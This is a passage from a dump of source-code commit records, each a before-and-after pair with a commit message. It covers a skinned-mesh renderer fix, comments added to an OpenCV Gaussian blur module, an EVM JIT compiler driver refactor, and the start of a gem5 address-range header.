true);\n\tRGL.EnableClient(kTextureCoordArray, true);\n\t\n\tfor(unsigned int i = 0; i < m_model.nNumNode; i++)\n\t{\n\t\tSPODNode *node = &m_model.pNode[i];\n\t\t\n\t\tif(!node->pszName)\n\t\t\tcontinue;\n\t\tif(node->pszName[0] != 'M')\n\t\t\tcontinue;\n\t\t\n\t\tSPODMaterial *material = &m_model.pMaterial[node->nIdxMaterial];\n\t\tSPODMesh *mesh = &m_model.pMesh[node->nIdx];\n\t\t\n\t\tint textureid = material->nIdxTexDiffuse;\n\t\tif(textureid >= 0)\n\t\t\tRudeTextureManager::GetInstance()->SetTexture(m_textures[textureid]);\n\t\t\n\t\tunsigned short *indices\t= (unsigned short*) mesh->sFaces.pData;\n\t\t\n\t\tif((mesh->sVtxColours.n > 0) && (mesh->sVtxColours.eType == EPODDataRGBA))\n\t\t{\n\t\t\tRGL.EnableClient(kColorArray, true);\n\t\t\tglColorPointer(4, GL_UNSIGNED_BYTE, mesh->sVtxColours.nStride, mesh->pInterleaved + (long)mesh->sVtxColours.pData);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tRGL.EnableClient(kColorArray, false);\n\t\t\tglColor4f(1.0, 1.0, 1.0, 1.0);\n\t\t}\n\t\t\n\t\tint totalbatchcnt = 0;\n\t\t\n\t\tfor(int b = 0; b < mesh->sBoneBatches.nBatchCnt; b++)\n\t\t{\n\t\t\tint batchcnt = mesh->sBoneBatches.pnBatchBoneCnt[b];\n\n\t\t\tbtTransform boneworldbt[9];\n\n\t\t\tif(m_animate)\n\t\t\t{\n\t\t\t\tfor(int j = 0; j < batchcnt; ++j)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Get the world matrix for the given bone in this batch.\n\t\t\t\t\t\n\t\t\t\t\tPVRTMATRIX\tboneworld;\n\t\t\t\t\tint i32NodeID = mesh->sBoneBatches.pnBatches[j + totalbatchcnt];\n\t\t\t\t\tm_model.GetBoneWorldMatrix(boneworld, *node, m_model.pNode[i32NodeID]);\n\n\t\t\t\t\tboneworldbt[j].setFromOpenGLMatrix(boneworld.f);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\ttotalbatchcnt += batchcnt;\n\t\t\t\n\t\t\tint offset = mesh->sBoneBatches.pnBatchOffset[b] * 3;\n\t\t\tint end = mesh->sBoneBatches.pnBatchOffset[b+1] * 3;\n\t\t\t\n\t\t\tif(b == (mesh->sBoneBatches.nBatchCnt - 1))\n\t\t\t\tend = mesh->nNumFaces*3;\n\n\t\t\tfor(int v = offset; v < end; v += 3)\n\t\t\t{\n\t\t\t\tfloat verts[3][3] = { 0.0 };\n\t\t\t\tfloat uvs[3][2] = { 0.0 };\n\n\t\t\t\tfor(int a = 0; a < 3; a++)\n\t\t\t\t{\n\t\t\t\t\tfloat *meshverts = (float*) (mesh->pInterleaved + (long)mesh->sVertex.pData + mesh->sVertex.nStride * indices[v+a]);\n\t\t\t\t\tfloat *meshuvs = (float*) (mesh->pInterleaved + (long)mesh->psUVW->pData + mesh->psUVW->nStride * indices[v+a]);\n\t\t\t\t\tfloat *meshweights = (float *) (mesh->pInterleaved + (long)mesh->sBoneWeight.pData + mesh->sBoneWeight.nStride * indices[v+a]);\n\t\t\t\t\tunsigned char *meshbones = (unsigned char *) (mesh->pInterleaved + (long)mesh->sBoneIdx.pData + mesh->sBoneIdx.nStride * indices[v+a]);\n\n\t\t\t\t\tbtVector3 temppos(0,0,0);\n\t\t\t\t\t\n\t\t\t\t\tuvs[a][0] = meshuvs[0];\n\t\t\t\t\tuvs[a][1] = meshuvs[1];\n\n\t\t\t\t\tfor(unsigned int w = 0; w < mesh->sBoneWeight.n; w++)\n\t\t\t\t\t{\n\t\t\t\t\t\tfloat weight = meshweights[w];\n\t\t\t\t\t\tunsigned char boneidx = meshbones[w];\n\n\t\t\t\t\t\tif(weight < 0.00001f)\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\tbtVector3 p(meshverts[0], meshverts[1], meshverts[2]);\n\t\t\t\t\t\tp = boneworldbt[boneidx] * p;\n\t\t\t\t\t\tp = p * weight;\n\t\t\t\t\t\ttemppos += p;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tverts[a][0] = temppos[0];\n\t\t\t\t\tverts[a][1] = temppos[1];\n\t\t\t\t\tverts[a][2] = temppos[2];\n\t\t\t\t}\n\n\t\t\t\tglVertexPointer(3, GL_FLOAT, 0, verts);\n\t\t\t\tglTexCoordPointer(2, GL_FLOAT, 0, uvs);\n\t\t\n\t\t\t\tglDrawArrays(GL_TRIANGLES, 0, 3);\n\t\t\t}\n\t\t}\n\t\n\t}\n\n#endif \/\/ RUDE_SOFTWARE_SKIN\n\n\tRUDE_PERF_STOP(kPerfRudeSkinMeshRender);\n}\n<commit_msg>Fix for software skin renderer bug when rendering m_animate=false, need to init bone mat to identity<commit_after>\/*\n *  RudeSkinnedMesh.cpp\n *\n *  Bork3D Game Engine\n *  Copyright (c) 2009 Bork 3D LLC. All rights reserved.\n *\n *\/\n\n#include \"RudeSkinnedMesh.h\"\n\n\n#include \"RudeDebug.h\"\n#include \"RudeGL.h\"\n#include \"RudeFile.h\"\n#include \"RudePerf.h\"\n#include \"RudeTextureManager.h\"\n#include \"RudeTweaker.h\"\n\nbool gDebugAnim = false;\nRUDE_TWEAK(DebugAnim, kBool, gDebugAnim);\n\nfloat gDebugAnimFrame = 0;\nRUDE_TWEAK(DebugAnimFrame, kFloat, gDebugAnimFrame);\n\nRudeSkinnedMesh::RudeSkinnedMesh(RudeObject *owner)\n: RudeMesh(owner)\n, m_frame(0.0f)\n, m_fps(24.0f)\n, m_toFrame(0.0f)\n, m_animateTo(false)\n{\n}\n\nRudeSkinnedMesh::~RudeSkinnedMesh()\n{\n}\n\nint RudeSkinnedMesh::Load(const char *name)\n{\n\tRUDE_REPORT(\"RudeSkinnedMesh::Load %s\\n\", name);\n\t\n\tif(RudeMesh::Load(name))\n\t\treturn -1;\n\t\n\tfor(unsigned int i = 0; i < m_model.nNumMesh; i++)\n\t{\n\t\tSPODMesh *mesh = &m_model.pMesh[i];\n\t\t\n\t\tfor(int b = 0; b < mesh->sBoneBatches.nBatchCnt; b++)\n\t\t{\n\t\t\tint offset = mesh->sBoneBatches.pnBatchOffset[b];\n\t\t\tint end = mesh->sBoneBatches.pnBatchOffset[b+1];\n\t\t\t\n\t\t\tif(b == (mesh->sBoneBatches.nBatchCnt - 1))\n\t\t\t\tend = mesh->nNumFaces;\n\t\t\t\n\t\t\tint numfaces = (end - offset);\n\t\t\t\n\t\t\tRUDE_REPORT(\"  Mesh %d-%d: %d tris\\n\", i, b, numfaces);\n\t\t}\n\t\t\n\t\tRUDE_ASSERT(mesh->sBoneIdx.eType == EPODDataUnsignedByte, \"Bone indices must be unsigned byte\");\n\t\tRUDE_ASSERT(mesh->sBoneWeight.eType == EPODDataFloat, \"Bone weight must be float\");\n\t\tRUDE_ASSERT(mesh->sVertex.eType == EPODDataFloat, \"Mesh verts should be float\");\n\t}\n\n\t\/\/GLhandleARB g_vertexShader = glCreateShaderObjectARB( GL_VERTEX_SHADER_ARB );\n\t\n\treturn 0;\n\t\n}\n\nvoid RudeSkinnedMesh::SetFrame(float f)\n{\n\tm_animateTo = false;\n\tm_frame = f;\n}\n\nvoid RudeSkinnedMesh::AnimateTo(float f)\n{\n\tm_animateTo = true;\n\tm_toFrame = f;\n}\n\nvoid RudeSkinnedMesh::NextFrame(float delta)\n{\n\t\n\tif(m_animateTo)\n\t{\n\t\tif(m_toFrame > m_frame)\n\t\t{\n\t\t\tm_frame += delta * m_fps;\n\t\t\t\n\t\t\tif(m_frame > m_toFrame)\n\t\t\t{\n\t\t\t\tm_frame = m_toFrame;\n\t\t\t\tm_animateTo = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_frame -= delta * m_fps;\n\t\t\t\n\t\t\tif(m_frame < m_toFrame)\n\t\t\t{\n\t\t\t\tm_frame = m_toFrame;\n\t\t\t\tm_animateTo = false;\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\t\n\tm_model.SetFrame(m_frame);\n\t\n\tif(gDebugAnim)\n\t\tm_model.SetFrame(gDebugAnimFrame);\n}\n\n\nvoid RudeSkinnedMesh::Render()\n{\n\tRUDE_PERF_START(kPerfRudeSkinMeshRender);\n\t\n#ifdef RUDE_PALETTE_MATRIX_SKIN\n\t\n\tglMatrixMode(GL_MODELVIEW);\n\tPVRTMATRIX viewmat;\n\tglGetFloatv(GL_MODELVIEW_MATRIX, viewmat.f);\n\t\n\tRGL.Enable(kBackfaceCull, true);\n\t\n\tglCullFace(GL_FRONT);\n\tglFrontFace(GL_CW);\n\n\tRGL.EnableClient(kVertexArray, true);\n\tRGL.EnableClient(kTextureCoordArray, true);\n\t\n\tif(m_animate)\n\t{\n\t\tglEnable(GL_MATRIX_PALETTE_OES);\n\t\tglEnableClientState(GL_MATRIX_INDEX_ARRAY_OES);\n\t\tglEnableClientState(GL_WEIGHT_ARRAY_OES);\n\t}\n\t\n\tfor(int i = 0; i < m_model.nNumNode; i++)\n\t{\n\t\tSPODNode *node = &m_model.pNode[i];\n\t\t\n\t\tif(!node->pszName)\n\t\t\tcontinue;\n\t\tif(node->pszName[0] != 'M')\n\t\t\tcontinue;\n\t\t\n\t\tSPODMaterial *material = &m_model.pMaterial[node->nIdxMaterial];\n\t\tSPODMesh *mesh = &m_model.pMesh[node->nIdx];\n\t\t\n\t\tif(m_animate)\n\t\t{\n\t\t\tglMatrixIndexPointerOES(mesh->sBoneIdx.n, GL_UNSIGNED_BYTE, mesh->sBoneIdx.nStride, mesh->pInterleaved + (long) mesh->sBoneIdx.pData);\n\t\t\tglWeightPointerOES(mesh->sBoneWeight.n, GL_FLOAT, mesh->sBoneWeight.nStride, mesh->pInterleaved + (long) mesh->sBoneWeight.pData);\n\t\t}\n\t\t\n\t\tint textureid = material->nIdxTexDiffuse;\n\t\tif(textureid >= 0)\n\t\t\tRudeTextureManager::GetInstance()->SetTexture(m_textures[textureid]);\n\t\t\n\t\tunsigned short *indices\t= (unsigned short*) mesh->sFaces.pData;\n\t\t\n\t\tglVertexPointer(3, GL_FLOAT, mesh->sVertex.nStride, mesh->pInterleaved + (long)mesh->sVertex.pData);\n\t\t\n\t\tglTexCoordPointer(2, GL_FLOAT, mesh->psUVW->nStride, mesh->pInterleaved + (long)mesh->psUVW->pData);\n\t\t\n\t\tif((mesh->sVtxColours.n > 0) && (mesh->sVtxColours.eType == EPODDataRGBA))\n\t\t{\n\t\t\tRGL.EnableClient(kColorArray, true);\n\t\t\tglColorPointer(4, GL_UNSIGNED_BYTE, mesh->sVtxColours.nStride, mesh->pInterleaved + (long)mesh->sVtxColours.pData);\n\t\t}\n\t\telse\n\t\t\tRGL.EnableClient(kColorArray, false);\n\t\t\n\t\tint totalbatchcnt = 0;\n\t\t\n\t\tfor(int b = 0; b < mesh->sBoneBatches.nBatchCnt; b++)\n\t\t{\n\t\t\tint batchcnt = mesh->sBoneBatches.pnBatchBoneCnt[b];\n\n\t\t\tif(m_animate)\n\t\t\t{\n\t\t\t\tglMatrixMode(GL_MATRIX_PALETTE_OES);\n\t\t\t\n\t\t\t\tfor(int j = 0; j < batchcnt; ++j)\n\t\t\t\t{\n\t\t\t\t\tglCurrentPaletteMatrixOES(j);\n\t\t\t\t\t\n\t\t\t\t\t\/\/ Generates the world matrix for the given bone in this batch.\n\t\t\t\t\tPVRTMATRIX\tmBoneWorld;\n\t\t\t\t\tint i32NodeID = mesh->sBoneBatches.pnBatches[j + totalbatchcnt];\n\t\t\t\t\tm_model.GetBoneWorldMatrix(mBoneWorld, *node, m_model.pNode[i32NodeID]);\n\t\t\t\t\t\n\t\t\t\t\t\/\/ Multiply the bone's world matrix by the view matrix to put it in view space\n\t\t\t\t\tPVRTMatrixMultiply(mBoneWorld, mBoneWorld, viewmat);\n\t\t\t\t\t\n\t\t\t\t\t\/\/ Load the bone matrix into the current palette matrix.\n\t\t\t\t\tglLoadMatrixf(mBoneWorld.f);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\ttotalbatchcnt += batchcnt;\n\t\t\t\n\t\t\tint offset = mesh->sBoneBatches.pnBatchOffset[b] * 3;\n\t\t\tint end = mesh->sBoneBatches.pnBatchOffset[b+1] * 3;\n\t\t\t\n\t\t\tif(b == (mesh->sBoneBatches.nBatchCnt - 1))\n\t\t\t\tend = mesh->nNumFaces*3;\n\t\t\t\n\t\t\tint numidx = (end - offset);\n\t\t\t\n\t\t\tglDrawElements(GL_TRIANGLES, numidx, GL_UNSIGNED_SHORT, &indices[offset]);\n\t\t}\n\t\n\t}\n\t\n\tglDisable(GL_MATRIX_PALETTE_OES);\n\tglDisableClientState(GL_MATRIX_INDEX_ARRAY_OES);\n\tglDisableClientState(GL_WEIGHT_ARRAY_OES);\n\t\n#endif \/\/ RUDE_PALETTE_MATRIX_SKIN\n\n#ifdef RUDE_SOFTWARE_SKIN\n\n\t\n\tglMatrixMode(GL_MODELVIEW);\n\tPVRTMATRIX viewmat;\n\tglGetFloatv(GL_MODELVIEW_MATRIX, viewmat.f);\n\t\n\tRGL.Enable(kBackfaceCull, true);\n\t\n\tglCullFace(GL_FRONT);\n\tglFrontFace(GL_CW);\n\t\n\tRGL.EnableClient(kVertexArray, true);\n\tRGL.EnableClient(kTextureCoordArray, true);\n\t\n\tfor(unsigned int i = 0; i < m_model.nNumNode; i++)\n\t{\n\t\tSPODNode *node = &m_model.pNode[i];\n\t\t\n\t\tif(!node->pszName)\n\t\t\tcontinue;\n\t\tif(node->pszName[0] != 'M')\n\t\t\tcontinue;\n\t\t\n\t\tSPODMaterial *material = &m_model.pMaterial[node->nIdxMaterial];\n\t\tSPODMesh *mesh = &m_model.pMesh[node->nIdx];\n\t\t\n\t\tint textureid = material->nIdxTexDiffuse;\n\t\tif(textureid >= 0)\n\t\t\tRudeTextureManager::GetInstance()->SetTexture(m_textures[textureid]);\n\t\t\n\t\tunsigned short *indices\t= (unsigned short*) mesh->sFaces.pData;\n\t\t\n\t\tif((mesh->sVtxColours.n > 0) && (mesh->sVtxColours.eType == EPODDataRGBA))\n\t\t{\n\t\t\tRGL.EnableClient(kColorArray, true);\n\t\t\tglColorPointer(4, GL_UNSIGNED_BYTE, mesh->sVtxColours.nStride, mesh->pInterleaved + (long)mesh->sVtxColours.pData);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tRGL.EnableClient(kColorArray, false);\n\t\t\tglColor4f(1.0, 1.0, 1.0, 1.0);\n\t\t}\n\t\t\n\t\tint totalbatchcnt = 0;\n\t\t\n\t\tfor(int b = 0; b < mesh->sBoneBatches.nBatchCnt; b++)\n\t\t{\n\t\t\tint batchcnt = mesh->sBoneBatches.pnBatchBoneCnt[b];\n\n\t\t\tbtTransform boneworldbt[9];\n\n\t\t\tif(m_animate)\n\t\t\t{\n\t\t\t\tfor(int j = 0; j < batchcnt; ++j)\n\t\t\t\t{\n\t\t\t\t\t\/\/ Get the world matrix for the given bone in this batch.\n\t\t\t\t\t\n\t\t\t\t\tPVRTMATRIX\tboneworld;\n\t\t\t\t\tint i32NodeID = mesh->sBoneBatches.pnBatches[j + totalbatchcnt];\n\t\t\t\t\tm_model.GetBoneWorldMatrix(boneworld, *node, m_model.pNode[i32NodeID]);\n\n\t\t\t\t\tboneworldbt[j].setFromOpenGLMatrix(boneworld.f);\n\t\t\t\t}\n\t\t\t}\n            else\n            {\n                for(int j = 0; j < batchcnt; ++j)\n\t\t\t\t{\n                    boneworldbt[j].setIdentity();\n                }\n            }\n\t\t\t\n\t\t\ttotalbatchcnt += batchcnt;\n\t\t\t\n\t\t\tint offset = mesh->sBoneBatches.pnBatchOffset[b] * 3;\n\t\t\tint end = mesh->sBoneBatches.pnBatchOffset[b+1] * 3;\n\t\t\t\n\t\t\tif(b == (mesh->sBoneBatches.nBatchCnt - 1))\n\t\t\t\tend = mesh->nNumFaces*3;\n\n\t\t\tfor(int v = offset; v < end; v += 3)\n\t\t\t{\n\t\t\t\tfloat verts[3][3] = { 0.0 };\n\t\t\t\tfloat uvs[3][2] = { 0.0 };\n\n\t\t\t\tfor(int a = 0; a < 3; a++)\n\t\t\t\t{\n\t\t\t\t\tfloat *meshverts = (float*) (mesh->pInterleaved + (long)mesh->sVertex.pData + mesh->sVertex.nStride * indices[v+a]);\n\t\t\t\t\tfloat *meshuvs = (float*) (mesh->pInterleaved + (long)mesh->psUVW->pData + mesh->psUVW->nStride * indices[v+a]);\n\t\t\t\t\tfloat *meshweights = (float *) (mesh->pInterleaved + (long)mesh->sBoneWeight.pData + mesh->sBoneWeight.nStride * indices[v+a]);\n\t\t\t\t\tunsigned char *meshbones = (unsigned char *) (mesh->pInterleaved + (long)mesh->sBoneIdx.pData + mesh->sBoneIdx.nStride * indices[v+a]);\n\n\t\t\t\t\tbtVector3 temppos(0,0,0);\n\t\t\t\t\t\n\t\t\t\t\tuvs[a][0] = meshuvs[0];\n\t\t\t\t\tuvs[a][1] = meshuvs[1];\n\n\t\t\t\t\tfor(unsigned int w = 0; w < mesh->sBoneWeight.n; w++)\n\t\t\t\t\t{\n\t\t\t\t\t\tfloat weight = meshweights[w];\n\t\t\t\t\t\tunsigned char boneidx = meshbones[w];\n\n\t\t\t\t\t\tif(weight < 0.00001f)\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\tbtVector3 p(meshverts[0], meshverts[1], meshverts[2]);\n\t\t\t\t\t\tp = boneworldbt[boneidx] * p;\n\t\t\t\t\t\tp = p * weight;\n\t\t\t\t\t\ttemppos += p;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tverts[a][0] = temppos[0];\n\t\t\t\t\tverts[a][1] = temppos[1];\n\t\t\t\t\tverts[a][2] = temppos[2];\n\t\t\t\t}\n\n\t\t\t\tglVertexPointer(3, GL_FLOAT, 0, verts);\n\t\t\t\tglTexCoordPointer(2, GL_FLOAT, 0, uvs);\n\t\t\n\t\t\t\tglDrawArrays(GL_TRIANGLES, 0, 3);\n\t\t\t}\n\t\t}\n\t\n\t}\n\n#endif \/\/ RUDE_SOFTWARE_SKIN\n\n\tRUDE_PERF_STOP(kPerfRudeSkinMeshRender);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"opencv2\/imgproc\/imgproc.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include \"GaussianModule.hpp\"\n\nusing namespace std;\nusing namespace uipf;\n\n\n\/*\n\n*\/\nvoid GaussianModule::run( DataManager& data) const\n{\n\tusing namespace cv;\n\n\tdata.listParams();\n\tconst Matrix::ptr oMatrix = data.getInputData<Matrix>(\"image\");\n\n\tint nWindowSize = data.getParam<int>(\"windowSize\",-1);\n\tdouble dSigma = data.getParam<double>(\"sigma\",0.0);\n\n\tcv::Mat m = oMatrix->getContent();\n\n\tGaussianBlur(m,m,Size( nWindowSize, nWindowSize ), dSigma, dSigma );\n\n\tdata.setOutputData(\"image\",new Matrix(m));\n\n}\n\nMetaData GaussianModule::getMetaData() const\n{\n\tmap<string, DataDescription> input = {\n\t\t{\"image\", DataDescription(MATRIX, \"the image to apply the filter on.\") }\n\t};\n\tmap<string, DataDescription> output = {\n\t\t{\"image\", DataDescription(MATRIX, \"the result image.\") }\n\t};\n\tmap<string, ParamDescription> params = {\n\t\t{\"windowSize\", ParamDescription(\"window size of the kernel.\") },\n\t\t{\"sigma\", ParamDescription(\"variance of the gaussian kernel.\") }\n\t};\n\n\treturn MetaData(\n\t\t\"Applies Gaussian blurring to an image.\",\n\t\tinput,\n\t\toutput,\n\t\tparams\n\t);\n}\n\n<commit_msg>added comments to Gaussian module<commit_after>#include \"opencv2\/imgproc\/imgproc.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include \"GaussianModule.hpp\"\n\nusing namespace std;\nusing namespace uipf;\n\n\n\/\/ runs the module\n\/*\ndata\tDataManager handles the input and ouput of this module\n*\/\nvoid GaussianModule::run( DataManager& data) const\n{\n\tusing namespace cv;\n\n\t\/\/ print params for debugging\n\tdata.listParams();\n\n\t\/\/ read the params (window size and sigma) given for this step\n\tint nWindowSize = data.getParam<int>(\"windowSize\",-1);\n\tdouble dSigma = data.getParam<double>(\"sigma\",0.0);\n\n\t\/\/ get a pointer to the \"image\" input data\n\tconst Matrix::ptr oMatrix = data.getInputData<Matrix>(\"image\");\n\t\/\/ get the actual opencv matrix of the input data\n\tMat m = oMatrix->getContent();\n\n\t\/\/ do gaussian blur using opencv\n\tGaussianBlur(m,m,Size( nWindowSize, nWindowSize ), dSigma, dSigma );\n\n\t\/\/ set the result (output) on the datamanager\n\tdata.setOutputData(\"image\",new Matrix(m));\n\n}\n\n\/\/ returns the meta data of this module\nMetaData GaussianModule::getMetaData() const\n{\n\tmap<string, DataDescription> input = {\n\t\t{\"image\", DataDescription(MATRIX, \"the image to apply the filter on.\") }\n\t};\n\tmap<string, DataDescription> output = {\n\t\t{\"image\", DataDescription(MATRIX, \"the result image.\") }\n\t};\n\tmap<string, ParamDescription> params = {\n\t\t{\"windowSize\", ParamDescription(\"window size of the kernel.\") },\n\t\t{\"sigma\", ParamDescription(\"variance of the gaussian kernel.\") }\n\t};\n\n\treturn MetaData(\n\t\t\"Applies Gaussian blurring to an image.\",\n\t\tinput,\n\t\toutput,\n\t\tparams\n\t);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\n#include <iostream>\n#include <fstream>\n#include <ostream>\n#include <string>\n#include <vector>\n\n#include <boost\/algorithm\/string.hpp>\n\n#include <llvm\/Support\/raw_os_ostream.h>\n\n#include <libdevcore\/Common.h>\n#include <libdevcore\/CommonIO.h>\n#include <libevmface\/Instruction.h>\n#include <libevmjit\/Compiler.h>\n#include <libevmjit\/ExecutionEngine.h>\n\n\nvoid show_usage()\n{\n    \/\/ FIXME: Use arg[0] as program name?\n    std::cerr << \"usage: evmcc (-b|-c|-d)+ <inputfile.bc>\\n\";\n}\n\n\nint main(int argc, char** argv)\n{\n\n    std::string input_file;\n    bool opt_dissassemble = false;\n    bool opt_show_bytes = false;\n\tbool opt_compile = false;\n\tbool opt_interpret = false;\n\tbool opt_dump_graph = false;\n\tbool opt_unknown = false;\n\n    for (int i = 1; i < argc; i++)\n    {\n        std::string option = argv[i];\n        if (option == \"-b\")\n            opt_show_bytes = true;\n        else if (option == \"-c\")\n            opt_compile = true;\n        else if (option == \"-d\")\n\t\t\topt_dissassemble = true;\n\t\telse if (option == \"-i\")\n\t\t\topt_interpret = true;\n\t\telse if (option == \"-g\")\n\t\t\topt_dump_graph = true;\n\t\telse if (option[0] != '-' && input_file.empty())\n\t\t\tinput_file = option;\n        else\n        {\n            opt_unknown = true;\n            break;\n        }\n    }\n\n    if (opt_unknown ||\n        input_file.empty() ||\n        (!opt_show_bytes && !opt_compile && !opt_dissassemble && !opt_interpret))\n    {\n        show_usage();\n        exit(1);\n    }\n\n    std::ifstream ifs(input_file);\n    if (!ifs.is_open())\n    {\n        std::cerr << \"cannot open file \" << input_file << std::endl;\n        exit(1);\n    }\n\n    std::string src((std::istreambuf_iterator<char>(ifs)),\n\t\t    (std::istreambuf_iterator<char>()));\n\n    boost::algorithm::trim(src);\n\n\tusing namespace dev;\n\n    bytes bytecode = fromHex(src);\n\n    if (opt_show_bytes)\n    {\n        std::cout << memDump(bytecode) << std::endl;\n    }\n\n    if (opt_dissassemble)\n    {\n        std::string assembly = eth::disassemble(bytecode);\n        std::cout << assembly << std::endl;\n    }\n\n    if (opt_compile)\n    {\n    \tauto compiler = eth::jit::Compiler();\n\t\tauto module = compiler.compile({bytecode.data(), bytecode.size()});\n\t\tllvm::raw_os_ostream out(std::cout);\n\t\tmodule->print(out, nullptr);\n\n\t\tif (opt_dump_graph)\n\t\t{\n\t\t\tstd::ofstream ofs(\"blocks.dot\");\n\t\t\tcompiler.dumpBasicBlockGraph(ofs);\n\t\t\tofs.close();\n\t\t\tstd::cout << \"Basic blocks graph written to block.dot\\n\";\n\t\t}\n    }\n\n\tif (opt_interpret)\n\t{\n\t\tauto engine = eth::jit::ExecutionEngine();\n\t\tauto module = eth::jit::Compiler().compile({bytecode.data(), bytecode.size()});\n\t\tmodule->dump();\n\t\tu256 gas = 10000;\n\t\tauto result = engine.run(std::move(module), gas);\n\t\treturn result;\n\t}\n\n    return 0;\n}\n<commit_msg>minor changes in the compiler driver<commit_after>\n#include <iostream>\n#include <fstream>\n#include <ostream>\n#include <string>\n#include <vector>\n\n#include <boost\/algorithm\/string.hpp>\n\n#include <llvm\/Support\/raw_os_ostream.h>\n\n#include <libdevcore\/Common.h>\n#include <libdevcore\/CommonIO.h>\n#include <libevmface\/Instruction.h>\n#include <libevmjit\/Compiler.h>\n#include <libevmjit\/ExecutionEngine.h>\n\n\nvoid show_usage()\n{\n    \/\/ FIXME: Use arg[0] as program name?\n    std::cerr << \"usage: evmcc (-b|-c|-d)+ <inputfile.bc>\\n\";\n}\n\n\nint main(int argc, char** argv)\n{\n\n    std::string input_file;\n    bool opt_dissassemble = false;\n    bool opt_show_bytes = false;\n\tbool opt_compile = false;\n\tbool opt_interpret = false;\n\tbool opt_dump_graph = false;\n\tbool opt_unknown = false;\n\n    for (int i = 1; i < argc; i++)\n    {\n        std::string option = argv[i];\n        if (option == \"-b\")\n            opt_show_bytes = true;\n        else if (option == \"-c\")\n            opt_compile = true;\n        else if (option == \"-d\")\n\t\t\topt_dissassemble = true;\n\t\telse if (option == \"-i\")\n\t\t\topt_interpret = true;\n\t\telse if (option == \"-g\")\n\t\t\topt_dump_graph = true;\n\t\telse if (option[0] != '-' && input_file.empty())\n\t\t\tinput_file = option;\n        else\n        {\n            opt_unknown = true;\n            break;\n        }\n    }\n\n    if (opt_unknown ||\n        input_file.empty() ||\n        (!opt_show_bytes && !opt_compile && !opt_dissassemble && !opt_interpret))\n    {\n        show_usage();\n        exit(1);\n    }\n\n    std::ifstream ifs(input_file);\n    if (!ifs.is_open())\n    {\n        std::cerr << \"cannot open file \" << input_file << std::endl;\n        exit(1);\n    }\n\n    std::string src((std::istreambuf_iterator<char>(ifs)),\n\t\t    (std::istreambuf_iterator<char>()));\n\n    boost::algorithm::trim(src);\n\n\tusing namespace dev;\n\n    bytes bytecode = fromHex(src);\n\n    if (opt_show_bytes)\n    {\n        std::cout << memDump(bytecode) << std::endl;\n    }\n\n    if (opt_dissassemble)\n    {\n        std::string assembly = eth::disassemble(bytecode);\n        std::cout << assembly << std::endl;\n    }\n\n    if (opt_compile || opt_interpret)\n    {\n    \tauto compiler = eth::jit::Compiler();\n\t\tauto module = compiler.compile({bytecode.data(), bytecode.size()});\n\n\t\tmodule->dump();\n\n\t\tif (opt_dump_graph)\n\t\t{\n\t\t\tstd::ofstream ofs(\"blocks.dot\");\n\t\t\tcompiler.dumpBasicBlockGraph(ofs);\n\t\t\tofs.close();\n\t\t\tstd::cout << \"Basic blocks graph written to block.dot\\n\";\n\t\t}\n\n\t\tif (opt_interpret)\n\t\t{\n\t\t\tauto engine = eth::jit::ExecutionEngine();\n\t\t\tu256 gas = 10000;\n\t\t\tauto result = engine.run(std::move(module), gas);\n\t\t\treturn result;\n\t\t}\n    }\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2012, 2018 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder.  You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __BASE_ADDR_RANGE_MAP_HH__\n#define __BASE_ADDR_RANGE_MAP_HH__\n\n#include <cstddef>\n#include <functional>\n#include <list>\n#include <map>\n#include <utility>\n\n#include \"base\/addr_range.hh\"\n#include \"base\/types.hh\"\n\n\/**\n * The AddrRangeMap uses an STL map to implement an interval tree for\n * address decoding. The value stored is a template type and can be\n * e.g. a port identifier, or a pointer.\n *\/\ntemplate <typename V, int max_cache_size=0>\nclass 